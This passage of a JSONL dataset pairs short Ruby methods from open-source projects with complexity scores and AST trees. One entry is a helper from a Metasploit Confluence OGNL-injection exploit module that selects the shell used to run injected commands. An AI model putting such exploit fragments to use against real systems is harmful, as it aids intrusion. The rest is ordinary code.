end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"begin_pos\"]},{\"type\":\"arg\",\"children\":[\"end_pos\"]},{\"type\":\"arg\",\"children\":[\"msg\"]},{\"type\":\"optarg\",\"children\":[\"style_param\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"begin_pos\"]},\">\",{\"type\":\"lvar\",\"children\":[\"end_pos\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[null,\"range_between\",{\"type\":\"lvar\",\"children\":[\"begin_pos\"]},{\"type\":\"lvar\",\"children\":[\"end_pos\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"source\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"remove\",{\"type\":\"lvar\",\"children\":[\"range\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"{}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"{ }\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"{|\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\"{ |\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"style_param\"]},\"==\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},{\"type\":\"send\",\"children\":[null,\"opposite_style_detected\"]},null]}]}]}]}]}","id":"feb1d145-7d90-4c6a-a122-c1c04c83ac22"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_server/role_management.rb","start_line":96,"raw_source":"def is_master_for_role?(server_role)\n    assigned = assigned_server_roles.find_by(:server_role_id => server_role.id)\n    return false if assigned.nil?\n\n    assigned.priority == 1\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"is_master_for_role?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"server_role\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assigned\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assigned_server_roles\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"server_role_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_role\"]},\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assigned\"]},\"priority\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"66974b07-4adc-44ca-8dcc-50931189282b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_clusterable_presenter.rb","start_line":19,"raw_source":"def create_cluster_migration_path(cluster)\n    migrate_project_cluster_path(clusterable, cluster)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_cluster_migration_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]}]},{\"type\":\"send\",\"children\":[null,\"migrate_project_cluster_path\",{\"type\":\"send\",\"children\":[null,\"clusterable\"]},{\"type\":\"lvar\",\"children\":[\"cluster\"]}]}]}","id":"7047ca19-7ba0-4af8-a608-0db76b0c654a"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":895,"raw_source":"def co_author_ids_list\n    co_author_ids.join(\", \")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"co_author_ids_list\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"co_author_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"729479e9-bd36-4505-a9e9-f8d762e31158"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/web_ide/settings/extension_marketplace_validator.rb","start_line":10,"raw_source":"def self.validate(context)\n        unless context.fetch(:requested_setting_names).intersect?([:vscode_extension_marketplace])\n          return Gitlab::Fp::Result.ok(context)\n        end\n\n        context => { settings: Hash => settings }\n        settings => { vscode_extension_marketplace: Hash => vscode_extension_marketplace }\n\n        # NOTE: We deep_stringify_keys here, so we can still pass keys as symbols during tests.\n        #       This is the only place where keys need to be strings, because of the JSON schema\n        #       validation, all other places we convert and work with the keys as symbols.\n        errors = validate_against_schema(vscode_extension_marketplace.deep_stringify_keys)\n\n        if errors.none?\n          Gitlab::Fp::Result.ok(context)\n        else\n          Gitlab::Fp::Result.err(SettingsVscodeExtensionMarketplaceValidationFailed.new(details: errors.join(\". \")))\n        end\n      end","complexity_score":21.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"validate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"requested_setting_names\"]}]},\"intersect?\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vscode_extension_marketplace\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"ok\",{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]},{\"type\":\"match_pattern\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"settings\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"match_var\",\"children\":[\"settings\"]}]}]}]}]},{\"type\":\"match_pattern\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},{\"type\":\"hash_pattern\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vscode_extension_marketplace\"]},{\"type\":\"match_as\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"match_var\",\"children\":[\"vscode_extension_marketplace\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"errors\",{\"type\":\"send\",\"children\":[null,\"validate_against_schema\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vscode_extension_marketplace\"]},\"deep_stringify_keys\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"none?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"ok\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"err\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SettingsVscodeExtensionMarketplaceValidationFailed\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errors\"]},\"join\",{\"type\":\"str\",\"children\":[\". \"]}]}]}]}]}]}]}]}]}","id":"c3c11b05-d003-49dc-a996-e7004e7965d4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":523,"raw_source":"def test_select_tag_id_sanitized\n    input_elem = root_elem(select_tag(\"project[1]people\", \"<option>david</option>\"))\n    assert_match VALID_HTML_ID, input_elem[\"id\"]\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_tag_id_sanitized\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input_elem\",{\"type\":\"send\",\"children\":[null,\"root_elem\",{\"type\":\"send\",\"children\":[null,\"select_tag\",{\"type\":\"str\",\"children\":[\"project[1]people\"]},{\"type\":\"str\",\"children\":[\"<option>david</option>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"const\",\"children\":[null,\"VALID_HTML_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_elem\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"4c732522-034a-4056-b357-226839ff1852"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/standardfilters.rb","start_line":303,"raw_source":"def strip(input)\n      input = Utils.to_s(input)\n      input.strip\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"strip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"to_s\",{\"type\":\"lvar\",\"children\":[\"input\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"strip\"]}]}]}","id":"a9a2c490-f4ab-456f-98ca-10e841d34dfd"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/projects/settings/general.rb","start_line":74,"raw_source":"def expect_field_label(label_text)\n          expect(page).to have_element :label, text: label_text\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_field_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_element\",{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"label_text\"]}]}]}]}]}]}","id":"44587304-6a54-4242-9474-3856f572e453"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/association.rb","start_line":41,"raw_source":"def embedded?\n        embedded_by_reference? || embedded_recursively?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"embedded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedded_by_reference?\"]},{\"type\":\"send\",\"children\":[null,\"embedded_recursively?\"]}]}]}","id":"a34cbc66-58d8-4710-8707-1ceba259ec0a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb","start_line":172,"raw_source":"def get_full_version\n          with_raw_connection(allow_retry: true, materialize_transactions: false) do |conn|\n            conn.server_info[:version]\n          end\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_full_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_raw_connection\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"materialize_transactions\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"server_info\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]}","id":"7f532616-c64e-4123-b994-cfa13c65c30c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/log_subscriber_test.rb","start_line":138,"raw_source":"def test_flushes_the_same_logger_just_once\n    ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber\n    ActiveSupport::LogSubscriber.attach_to :another, @log_subscriber\n    ActiveSupport::LogSubscriber.flush_all!\n    wait\n    assert_equal 1, @logger.flush_count\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_flushes_the_same_logger_just_once\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"attach_to\",{\"type\":\"sym\",\"children\":[\"my_log_subscriber\"]},{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"attach_to\",{\"type\":\"sym\",\"children\":[\"another\"]},{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"LogSubscriber\"]},\"flush_all!\"]},{\"type\":\"send\",\"children\":[null,\"wait\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"flush_count\"]}]}]}]}","id":"b522a2ac-d677-423f-a615-a023218557cf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_cluster.rb","start_line":261,"raw_source":"def perf_rollup_parents(interval_name = nil)\n    [ext_management_system].compact unless interval_name == 'realtime'\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perf_rollup_parents\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"interval_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interval_name\"]},\"==\",{\"type\":\"str\",\"children\":[\"realtime\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]}]},\"compact\"]}]}]}","id":"7604231c-02ed-4c2f-9b6a-1096d4592517"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/tools/log_processing/ems_refresh_timings.rb","start_line":11,"raw_source":"def parse_args(argv)\n  logfiles = []\n\n  opts = Optimist.options do\n    banner <<~EOS\n      Parse EMS Refreshes from a set of evm.log files and filter on a set of\n      provided conditions.\n\n      Usage:\n        ruby ems_refresh_timings.rb [OPTION]... <FILE>...\n\n      Options:\n    EOS\n    opt :sort_by, 'Column to sort by, options are start_time, end_time, ' \\\n                  'duration, ems, target_type, and target',\n        :type => :string, :default => 'start_time'\n    opt :target, 'Filter by specific targets, comma separated', :type => :strings\n    opt :target_type, 'Filter by specific target types, comma separated', :type => :strings\n    opt :ems, 'Filter by a specific ems, comma separted', :type => :strings\n  end\n\n  argv.each do |arg|\n    logfiles << File.expand_path(arg) if File.file?(arg)\n  end\n\n  # If no logs were given on command line default to main project evm.log\n  logfiles << File.join(RAILS_ROOT, 'log/evm.log') if logfiles.empty?\n\n  [opts, logfiles]\nend","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_args\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"argv\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"logfiles\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Optimist\"]},\"options\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parse EMS Refreshes from a set of evm.log files and filter on a set of\\n\"]},{\"type\":\"str\",\"children\":[\"provided conditions.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Usage:\\n\"]},{\"type\":\"str\",\"children\":[\"  ruby ems_refresh_timings.rb [OPTION]... <FILE>...\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Options:\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"sort_by\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Column to sort by, options are start_time, end_time, \"]},{\"type\":\"str\",\"children\":[\"duration, ems, target_type, and target\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"start_time\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"Filter by specific targets, comma separated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"strings\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"Filter by specific target types, comma separated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"strings\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"opt\",{\"type\":\"sym\",\"children\":[\"ems\"]},{\"type\":\"str\",\"children\":[\"Filter by a specific ems, comma separted\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"strings\"]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argv\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"file?\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logfiles\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logfiles\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"logfiles\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"RAILS_ROOT\"]},{\"type\":\"str\",\"children\":[\"log/evm.log\"]}]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"logfiles\"]}]}]}]}","id":"46991942-6d06-41e3-9ccc-d7bc54f26541"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/ci/variables_helper.rb","start_line":27,"raw_source":"def ci_variable_maskable_raw_regex\n      Ci::Maskable::MASK_AND_RAW_REGEX.inspect.sub('\\\\A', '^').sub('\\\\z', '$')[1...-1]\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ci_variable_maskable_raw_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Maskable\"]},\"MASK_AND_RAW_REGEX\"]},\"inspect\"]},\"sub\",{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"str\",\"children\":[\"^\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"\\\\z\"]},{\"type\":\"str\",\"children\":[\"$\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"65bac988-7a6d-4453-a2af-6173b66c3dc4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/structured_event_subscriber.rb","start_line":79,"raw_source":"def filter(name, value)\n        ActiveRecord::Base.inspection_filter.filter_param(name, value)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"inspection_filter\"]},\"filter_param\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"bef8d6fe-609d-48f5-99f8-181b4c655278"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb","start_line":189,"raw_source":"def target_shell\n    target['Platform'] == 'win' ? '\"cmd.exe\",\"/c\"' : '\"/bin/sh\",\"-c\"'\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"target_shell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"str\",\"children\":[\"\\\"cmd.exe\\\",\\\"/c\\\"\"]},{\"type\":\"str\",\"children\":[\"\\\"/bin/sh\\\",\\\"-c\\\"\"]}]}]}","id":"d9996109-d569-498a-b5fb-bf5153ba0e10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/option_container.rb","start_line":75,"raw_source":"def get(name)\n      begin\n        return fetch(name)\n      rescue\n      end\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fetch\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}]}","id":"d0138591-937e-4697-a9ce-d9b921cea5fe"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_between_defs.rb","start_line":202,"raw_source":"def method_candidate?(node)\n          cop_config['EmptyLineBetweenMethodDefs'] && node.any_def_type?\n        end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"method_candidate?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EmptyLineBetweenMethodDefs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"any_def_type?\"]}]}]}","id":"8ace6be1-9dd2-4a76-9319-6b6597ce8b6a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/internal_affairs/node_pattern_groups.rb","start_line":204,"raw_source":"def range_with_offset(pattern_node)\n          if pattern_node.heredoc?\n            [pattern_node.loc.heredoc_body, 0]\n          else\n            [pattern_node.source_range, pattern_node.loc.begin.size]\n          end\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"range_with_offset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pattern_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_node\"]},\"heredoc?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_node\"]},\"loc\"]},\"heredoc_body\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_node\"]},\"source_range\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern_node\"]},\"loc\"]},\"begin\"]},\"size\"]}]}]}]}","id":"bee590b0-e4cb-4757-8c5a-97ab013cc9a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/notifications.rb","start_line":82,"raw_source":"def send(name, payload)\n      ActiveSupport::Notifications.instrument(name.to_s, payload:)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"24643e80-0e42-460a-8f08-db52e17be512"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/presenters/spree/filters/options_presenter.rb","start_line":28,"raw_source":"def initialize(option_values_scope:)\n        @option_values = option_values_scope.includes(:option_type)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"option_values_scope\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@option_values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option_values_scope\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"option_type\"]}]}]}]}","id":"db1a33d2-c282-4945-9099-6429f2ff4c78"}
